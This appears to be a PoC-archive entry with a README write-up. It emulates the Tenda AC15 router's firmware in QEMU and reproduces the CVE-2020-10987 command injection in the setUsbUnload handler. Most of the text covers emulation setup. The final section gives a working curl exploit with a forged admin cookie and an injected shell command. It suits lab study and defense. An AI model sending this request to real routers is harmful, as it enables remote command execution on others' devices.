POC详情: 62a4d4c55e5580542f98f75ea59ac6b3a6799792

来源
关联漏洞
标题: Tenda AC15 AC1900 注入漏洞 (CVE-2020-10987)
描述:Tenda AC15 AC1900是中国腾达(Tenda)公司的一款无线路由器。 Tenda AC15 AC1900 15.03.05.19版本中的goform/setUsbUnload端点存在安全漏洞。远程攻击者可借助‘deviceName’ POST参数利用该漏洞执行任意系统命令。
描述
Writeup for Tenda AC15 router firmware rehosting and remote command execution (CVE-2020-10987) exploit replication.
介绍
# Tenda-Router-VR-and-Exploit
This write-up shows exactly how I emulated the AC15 (V15.03.05.19) firmware’s webserver with QEMU, made it reachable from the host browser, and exercised the vulnerable `/goform/setUsbUnload` handler (CVE-2020-10987) to get command execution inside the emulated rootfs.

---

## Overview
- Extract (or in our case obtain) the `squashfs` filesystem from the firmware image and start reversing
- Build a Debian armhf guest running under qemu-system-arm
- Set up the guest’s networking and port-forwarding path to the emulated router
- Build our boot script
- Exploit the emulated router

---

## Extracting the filesystem

First we need to get our firmware image. I was not able to find the image download for AC15 V15.03.05.19 however I was able to find a github repo with the already extracted `squashfs` filesystem.
If we were to have the correct image file we could extracted it using `binwalk` like so,
```
user@computer $ binwalk -e AC15_V15.03.05.19.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
64            0x40            TRX firmware header, little endian, image size: 6778880 bytes, CRC32: 0x80AD82D6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1A488C, rootfs offset: 0x0
92            0x5C            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4177792 bytes
1722572       0x1A48CC        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 5052332 bytes, 848 inodes, blocksize: 131072 bytes, created: 2017-04-19 16:18:08

user@computer $ cd _AC15_V15.03.05.19.bin.extracted
```

Since we don't have the correct image file but a repo with the already extracted filesystem, we can just clone the repo.
```
git clone https://github.com/lapinpt/Tenda-AC15-Firmware-V15.03.05.19-9061
```

I have made a directory called `VR` and cloned this repo inside it. My `rootfs` is at `$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs`

Great now we have our AC15 V15.03.05.19  firmware. Lets move onto some reversing to see whats going on.

## Reverse Engineering
I will be using Ghidra 11.4.2 for my reversing.
Lets navigate to our target binary here `rootfs/bin/httpd` and load it in Ghidra.
If we go to the `formsetUsbUnload` function we can see,
```C
  uVar1 = FUN_0002bd4c(param_1,"deviceName",&DAT_000f4bdc);
  doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s",0x33,3,uVar1);
  FUN_0002c6cc(param_1,"HTTP/1.0 200 OK\r\n\r\n");
  FUN_0002c6cc(param_1,"{\"errCode\":0}");
  FUN_0002cc14(param_1,200);
  return;
```
This is the vulnerability. The `deviceName` parameter is passed directly into `doSystemCmd` allowing us to send whatever commands we want.

Now since we are going to be rehosting this firmware using qemu and not the original router hardware, some programs are going to try to reach devices that aren't there and crash our startup.
Since our goal is to exploit the webserver (`httpd`) I only focused on rehosting that binary not the whole startup (`/rootfs/etc_ro/init.d/rcS`). _In hindsight im not sure this was the right move_

So when looking at `rcS` I wanted to find anything that `rcS` might do that `httpd` would need. Towards the end of the file we can see:
```bash
cfmd &
echo '' > /proc/sys/kernel/hotplug
udevd &
logserver &
```
`rcS` starts `cfmd` in the background right before the rest of the stack spins up.
After some more research and looking at how the vulnerable function sends the command I came to the conclusion that,
- `httpd` builds a `cfm post`
- Then the `cfm` client talks to `cfmd` over a UNIX domain socket (e.g. `/var/cfm_socket`)

In the `InitServer` routine in `cfmd` we can see 
```C
unlink("/var/cfm_socket");
strncpy(sa_unix.sun_path, "/var/cfm_socket", ...);
bind(fd, (sockaddr*)&sa_unix, 0x6e);
listen(fd, 5);
```
It creates a UIX socket and listens.
Overall how it works is the handler reads a fixed 0x7e0-byte frame from each client (`RecvMsg`/`SendMsg`). The first 4 bytes are a command code; then there’s a 512-byte key buffer and a 1500-byte value buffer (you can see the stack object sizes in the handler). It switches on the opcode and replies with an ACK code:
- `2` -> Get: `GetCfmValue(key, value)` then reply code `3`
- `0` -> Set: `SetCfmValue(key, value)` then reply code `1`
- `0x11` -> Unset: `UnSetCfmValue(key)` then reply code `0x12`
- `10` -> Commit: `SaveCfm2Flash()` then reply `0x10` (OK) or `0xB` (error)

So in order to emulate `cfmd` I created a short script `cfm_stub`
```C
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>

#define SOCK_PATH "/var/cfm_socket"

// minimal UNIX-domain server that httpd expects.
// Replies with an IP string when it sees the key it asks for.
int main(void) {
  int s = socket(AF_UNIX, SOCK_STREAM, 0);
  struct sockaddr_un addr = {0};
  if (s < 0) { perror("socket"); return 1; }
  unlink(SOCK_PATH);
  addr.sun_family = AF_UNIX;
  strncpy(addr.sun_path, SOCK_PATH, sizeof(addr.sun_path)-1);
  if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; }
  if (listen(s, 5) < 0) { perror("listen"); return 1; }

  for (;;) {
    int c = accept(s, NULL, NULL);
    if (c < 0) { if (errno==EINTR) continue; perror("accept"); break; }
    char buf[1024]; ssize_t n = read(c, buf, sizeof(buf));
    if (n > 0) {
      // In some builds httpd asks for "lan.webiplansslen" etc.
      // Any non-empty reply that looks like an IP keeps init happy.
      const char *reply = "192.168.0.1";
      write(c, reply, strlen(reply));
    }
    close(c);
  }
  close(s);
  return 0;
}
```
I will show how to compile this after the next part.

The next helper file is `hooks.so`. There are a few functions that are used in `httpd` and `cfm` that try to interact with non existent hardware.
The following is what our program assumes when starting up
- Flash + MTD partitions exist and are mountable.
- An NVRAM device exists (`/dev/nvram`) and returns sane defaults.
- Misc platform routines succeed (Layer-7 settings loader, RF power restore, etc.).

The following functions become an issue and therefore we have to patch with `LD_PRELOAD=/hooks.so`.
- `get_flash_type()` -> if it returns `4`, the code takes a file-based path (`cfm_file_init`), otherwise it tries to talk to MTD (which we don’t have).
- `get_cfm_blk_size_from_cache()` (and or the variant `j_get_cfm_blk_size_from_cache`) is consulted for config block sizing.
- Calls to Broadcom NVRAM shims (`bcm_nvram_get`) must not fail or the stack assumes “NVRAM destroyed” and heads into restore/reboot logic.
- Additional routines like `load_l7setting_file()` and `restore_power()` are expected to succeed but touch non-existent hardware/files.

Here is our `hooks.c`. Credit to [azeria-labs](https://github.com/azeria-labs) for the original.
```C
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>

int j_get_cfm_blk_size_from_cache(const int i) {
  puts("j_get_cfm_blk_size_from_cache called....\n");
  return 0x20000;  // 128 KiB block — what the file path expects
}

int get_flash_type() {
  puts("get_flash_type called....\n");
  return 4;        // force file-backed CFM init, not MTD
}

int load_l7setting_file() {
  puts("load_l7setting_file called....\n");
  return 1;        // pretend Layer-7 settings loaded OK
}

int restore_power(int a, int b) {
  puts("restore_power called....\n");
  return 0;        // success (don’t touch RF/power hardware)
}

char *bcm_nvram_get(char *key) {
  char *value = NULL;

  if (strcmp(key, "et0macaddr") == 0) {
    value = strdup("DE:AD:BE:EF:CA:FE"); // any valid MAC works
  }
  if (strcmp(key, "sb/1/macaddr") == 0) {
    value = strdup("DE:AD:BE:EF:CA:FD");
  }
  if (strcmp(key, "default_nvram") == 0) {
    value = strdup("default_nvram");     // signals “nvram is OK”
  }

  printf("bcm_nvram_get(%s) == %s\n", key, value);
  return value; // note: small leak is fine for our short-lived emu
}
```

Now lets compile these files and place them in our firmware.
To cross compile we can use Bootlin’s prebuilt uClibc toolchain.
```bash
wget https://toolchains.bootlin.com/downloads/releases/toolchains/armv5-eabi/tarballs/armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
tar xjf armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
export PATH="$PWD/armv5-eabi--uclibc--stable-2020.08-1/bin:$PATH"
ls armv5-eabi--uclibc--stable-2020.08-1/bin | grep gcc
```
You should see something like the following 
```bash
arm-buildroot-linux-uclibcgnueabi-gcc
arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0
arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0.br_real
arm-buildroot-linux-uclibcgnueabi-gcc-ar
arm-buildroot-linux-uclibcgnueabi-gcc.br_real
arm-buildroot-linux-uclibcgnueabi-gcc-nm
arm-buildroot-linux-uclibcgnueabi-gcc-ranlib
arm-linux-gcc arm-linux-gcc-9.3.0
arm-linux-gcc-9.3.0.br_real
arm-linux-gcc-ar arm-linux-gcc.br_real
arm-linux-gcc-nm
arm-linux-gcc-ranlib
```

Now we can compile with 
```bash
arm-buildroot-linux-uclibcgnueabi-gcc -shared -fPIC -Os -ldl -Wl,-soname,hooks.so -o hooks.so hooks.c
arm-buildroot-linux-uclibcgnueabi-gcc -Os -s -o cfm_stub cfm_stub.c
```

Then lastly install them into the firmware
```
$FIRM = "$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs"
install -m 0644 ./hooks.so  "$FIRM/hooks.so"
install -D -m 0755 ./cfm_stub "$FIRM/usr/sbin/cfm_stub"
```

## Building ARM guest system
Lets set up our arm guest using qemu full system.
I created a directory to hold this guest system at `~/qsys`

Now in this directory lets setup our guest by doing the following
```bash
sudo apt-get install -y qemu-system-arm qemu-utils debootstrap qemu-user-static binfmt-support
mkdir -p ~/qsys/rootfs-armhf

sudo debootstrap --arch=armhf --foreign bookworm ~/qsys/rootfs-armhf http://deb.debian.org/debian
sudo cp /usr/bin/qemu-arm-static ~/qsys/rootfs-armhf/usr/bin/
sudo chroot ~/qsys/rootfs-armhf /debootstrap/debootstrap --second-stage

cat | sudo tee ~/qsys/rootfs-armhf/etc/apt/sources.list >/dev/null <<'EOF'
deb http://deb.debian.org/debian bookworm main
EOF

sudo chroot ~/qsys/rootfs-armhf apt-get update

sudo chroot ~/qsys/rootfs-armhf apt-get install -y \
  net-tools iproute2 iputils-ping python3 busybox-syslogd openssh-server \
  ifupdown curl ca-certificates

sudo chroot ~/qsys/rootfs-armhf bash -lc 'echo "root:root" | chpasswd'
```
This will create our armhf rootfs, update our guest, setup some base tools, then set our root `username:password` to `root:root`.

Next install the armhf kernal with 
```bash
sudo chroot ~/qsys/rootfs-armhf apt-get install -y linux-image-armmp
```

Then we copy out the kernal and build the ext4 image
```bash
mkdir -p ~/qsys/kernel
KVER=$(ls ~/qsys/rootfs-armhf/boot/vmlinuz-* | sed 's#.*/vmlinuz-##')
cp ~/qsys/rootfs-armhf/boot/vmlinuz-$KVER ~/qsys/kernel/zImage
cp ~/qsys/rootfs-armhf/usr/lib/linux-image-$KVER/vexpress-v2p-ca9.dtb ~/qsys/kernel/

dd if=/dev/zero of=~/qsys/armhf.ext4 bs=1M count=2048
mkfs.ext4 -F ~/qsys/armhf.ext4
sudo mount ~/qsys/armhf.ext4 /mnt
sudo rsync -aHAX ~/qsys/rootfs-armhf/ /mnt/
sudo umount /mnt
```

Now to start up our guest system
From `~/qsys` run
```bash
qemu-system-arm \
  -M vexpress-a9 -cpu cortex-a9 -m 512M \
  -kernel ./kernel/zImage \
  -dtb ./kernel/vexpress-v2p-ca9.dtb \
  -initrd ./kernel/initrd.img \
  -append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0" \
  -nographic -audiodev none,id=noaudio \
  -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80 \
  -device virtio-net-device,netdev=net0 \
  -drive file=./armhf.ext4,if=sd,format=raw \
  -fsdev local,id=fsdev0,path=$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs,security_model=none,readonly=on \
  -device virtio-9p-device,fsdev=fsdev0,mount_tag=fw
```
Heres a quick rundown of what these lines in the startup commnand actally mean.
- `-M vexpress-a9 -cpu cortex-a9 -m 512M` Use the Versatile Express A9 board model (A board supported by debian's armmp kernal)
- `-kernel/-dtb/-initr` Boot the Debian kernel/initrd for this board, with the vexpress device-tree blob
- `-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"` Standard rootfs-on-SD setup with serial console on PL011.
- `-nographic -audiodev none,id=noaudio` Serial-only UI (no SDL window) and no audio.
- `-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80` QEMU user-mode NAT; forward `host:2222` to `guest:22` and `host:8080` to `guest:80`. This is important for networking. Will talk about this more later.
- `-device virtio-net-device,netdev=net0` Attach a NIC to the `net0` backend.
- `-drive file=./armhf.ext4,if=sd,format=raw` The Debian rootfs lives on an SD-like block device (`/dev/mmcblk0`).
- `-fsdev ... -device virtio-9p-device ... mount_tag=fw` Expose the firmware rootfs (read-only) into the guest via 9p with tag `fw`. We’ll mount it at `/firmware` and layer an overlayfs on top for writability.

Now inside the guest you might get a few errors. That is fine as long as you get to the log in prompt and can log in with `root:root`.

Next to get internet on our guest system run the following
```
dhclient -v eth0  ||  udhcpc -i eth0
```
This will get a DHCP lease on `eth0`

Now install socat
```
apt-get update && apt-get install -y socat
```

## Boot Script
Next lets create out boot script inside the guest's root directory.
```bash
nano boot_tenda.sh
```
Here is our boot script `/root/boot_tenda_sh` inside our guest with comments explaining each step.
```bash
set -e

# bring the extracted firmware rootfs from the host into the guest
mkdir -p /firmware
mountpoint -q /firmware || mount -t 9p -o trans=virtio,version=9p2000.L fw /firmware

# we need writable places (/var/cfm_socket, /tmp, logs). Overlayfs gives a writable upperdir on top of the read-only firmware tree
# this creates an overlay at /firmware
for m in /mnt/fw/dev /mnt/fw/proc /mnt/fw/sys /mnt/fw; do umount -l "$m" 2>/dev/null || true; done
rm -rf /overlay_run
mkdir -p /overlay_run/upper /overlay_run/work /mnt/fw
mount -t overlay overlay \
  -o lowerdir=/firmware,upperdir=/overlay_run/upper,workdir=/overlay_run/work \
  /mnt/fw

# bind the usual pseudo filesystems
mount --bind /dev  /mnt/fw/dev
mount --bind /proc /mnt/fw/proc
mount --bind /sys  /mnt/fw/sys
mkdir -p /mnt/fw/var/log /mnt/fw/var/run /mnt/fw/tmp

# give the router its LAN IP (this is what httpd binds to)
# the router listens on the LAN IP; we create a dummy bridge with the same address so httpd binds exactly like the real device
ip link add br0 type dummy 2>/dev/null || true
ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0
ip link set br0 up

# /dev/log for components that try to log
pidof syslogd >/dev/null || syslogd

# copy UI like rcS does so the web UI files are in the served directory
chroot /mnt/fw /bin/sh -c 'mkdir -p /webroot; cp -r /webroot_ro/* /webroot/ 2>/dev/null || true'

# start the control socket server which httpd expects on boot. Without this httpd exits early
chroot /mnt/fw /bin/sh -c '/usr/sbin/cfm_stub >/var/log/cfm_stub.log 2>&1 &' 
sleep 1
[ -S /overlay_run/upper/var/cfm_socket ] && echo "cfm socket up" || echo "no cfm socket"

# start the vulnerable webserver with hooks
chroot /mnt/fw /bin/sh -c 'export LD_LIBRARY_PATH=/lib:/usr/lib; LD_PRELOAD=/hooks.so /bin/httpd >/var/log/httpd.log 2>&1 &' 
sleep 2

# relay traffic to complete path host:8080 -> guest:80 (socat) -> 192.168.0.1:80 (httpd)
# find the slirp IP on eth0
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')

# forward guest:eth0:80 -> 192.168.0.1:80
if command -v socat >/dev/null; then
  nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
    >/root/socat.log 2>&1 &
else
  echo "socat not found"
fi 

# show listeners
(ss -lntp || netstat -lntp) 2>/dev/null | grep -E '(:80\b|httpd)' || true
```

Now time to run it
```
chmod +x /root/boot_tenda.sh
/root/boot_tenda.sh
```

You should see a listener on port `80` with `httpd`
To further verify navigate to `http://127.0.0.1:8080/` on your host and we can see the router's homepage.

If you want to learn more about how the networking works continue on reading if not you can skip to the last section where we exploit the webserver.

## A quick overview of how the networking works
We needed to load the router's `httpd` inside the guest but make it reachable from the hosts browser at `http://127.0.0.1:8080/` while the server still believes it’s bound to the router’s LAN IP (`192.168.0.1`).
There are three pieces that make this work:
1. QEMU user networking (slirp) + hostfwd
2. A dummy LAN interface in the guest (`br0` at `192.168.0.1`)
3. A local TCP relay inside the guest (`socat`)

### 1. QEMU user networking (slirp) + hostfwd
We do this in the startup command when we specify
```bash
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80
-device virtio-net-device,netdev=net0
```
- `-netdev user,...` enables slirp (QEMU’s user-mode NAT): the guest gets outbound Internet (DHCP, DNS) without needing root bridges or TAP devices on the host.
- `hostfwd=tcp::2222-:22` forwards host port 2222 -> guest port 22.
- `hostfwd=tcp::8080-:80` forwards host port 8080 -> guest port 80.

Then we get the DHCP lease for `eth0`. Note that Slirp typically assigns the guest `10.0.2.15`, with the gateway at `10.0.2.2`.
```bash
dhclient -v eth0  ||  udhcpc -i eth0
```

### 2. Make the router’s LAN IP exist in the guest
The real firmware expects to bind to the LAN bridge br0 at 192.168.0.1. We recreate that:
```bash
ip link add br0 type dummy 2>/dev/null || true
ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0
ip link set br0 up
```
- The binaries (or their libraries) often query interface names (e.g., `lan_ifname=br0`) and expect a bridge device.
- Binding httpd to `192.168.0.1` keeps behavior/redirects (e.g., `302` to `http://192.168.0.1/main.html`) identical to the real device.
- At this point, httpd listens only on `192.168.0.1:80` (not on the guest’s `eth0`).

### 3. Bridge hostfwd -> firmware listener with `socat`
`host:8080` -> `guest:80` is already set up by QEMU. But `httpd` is not listening on the guest’s `eth0:80`; it listens on `192.168.0.1:80`. So inside the guest we add a tiny TCP relay:
```bash
# find the slirp IP (usually 10.0.2.15)
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')

# forward guest:eth0:80 → 192.168.0.1:80
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
  >/root/socat.log 2>&1 &
```

Here is the overall layout
```
Host browser (127.0.0.1:8080)
        │
        V
QEMU hostfwd:8080 → guest:80 (on eth0 @ 10.0.2.15)
        │
        V
socat in guest: 10.0.2.15:80 → 192.168.0.1:80
        │
        V
httpd bound at 192.168.0.1:80 (inside firmware chroot)
```


## Exploit Time
The web stack protects “goform” endpoints behind some same-origin/AJAX checks and a “logged in” cookie. Send the same headers the UI JavaScript would:
```bash
curl -v \
  -H 'Host: 192.168.0.1' \
  -H 'Origin: http://192.168.0.1' \
  -H 'Referer: http://192.168.0.1/index.html' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -H 'Cookie: user=admin; password=21232f297a57a5a743894a0e4a801fc3' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'deviceName=$(touch /tmp/Hello_World)' \
  http://127.0.0.1:8080/goform/setUsbUnload
```
What does this do exactly?
- `Host/Origin/Referer/X-Requested-With` passes the AJAX + same-origin checks in the handler
- `Cookie: user=admin; password=<md5>` simulates a logged-in session. In this case I used `md5("admin") = 21232f297a57a5a743894a0e4a801fc3`
- `deviceName=$(touch /tmp/Hello_World)` sets the device name to the command we want to run. In this case we are creating a file `/tmp/Hello_World`
*Note* that running this command will hang for a while then mostly likely close the connection with an error. This is fine and proof it worked.

Next in the guest to further verify we can check for the existence of our new file
```bash
chroot /mnt/fw /bin/sh -c 'ls -l /tmp/Hello_World && echo "success it worked!"
```
You should see
```
-rw-r--r--    1 root     root             0 ... /tmp/Hello_World
success it worked!
```
*We successfully exploited our rehosted router by executing our sent command*
文件快照

[4.0K] /data/pocs/62a4d4c55e5580542f98f75ea59ac6b3a6799792 └── [ 20K] README.md 0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。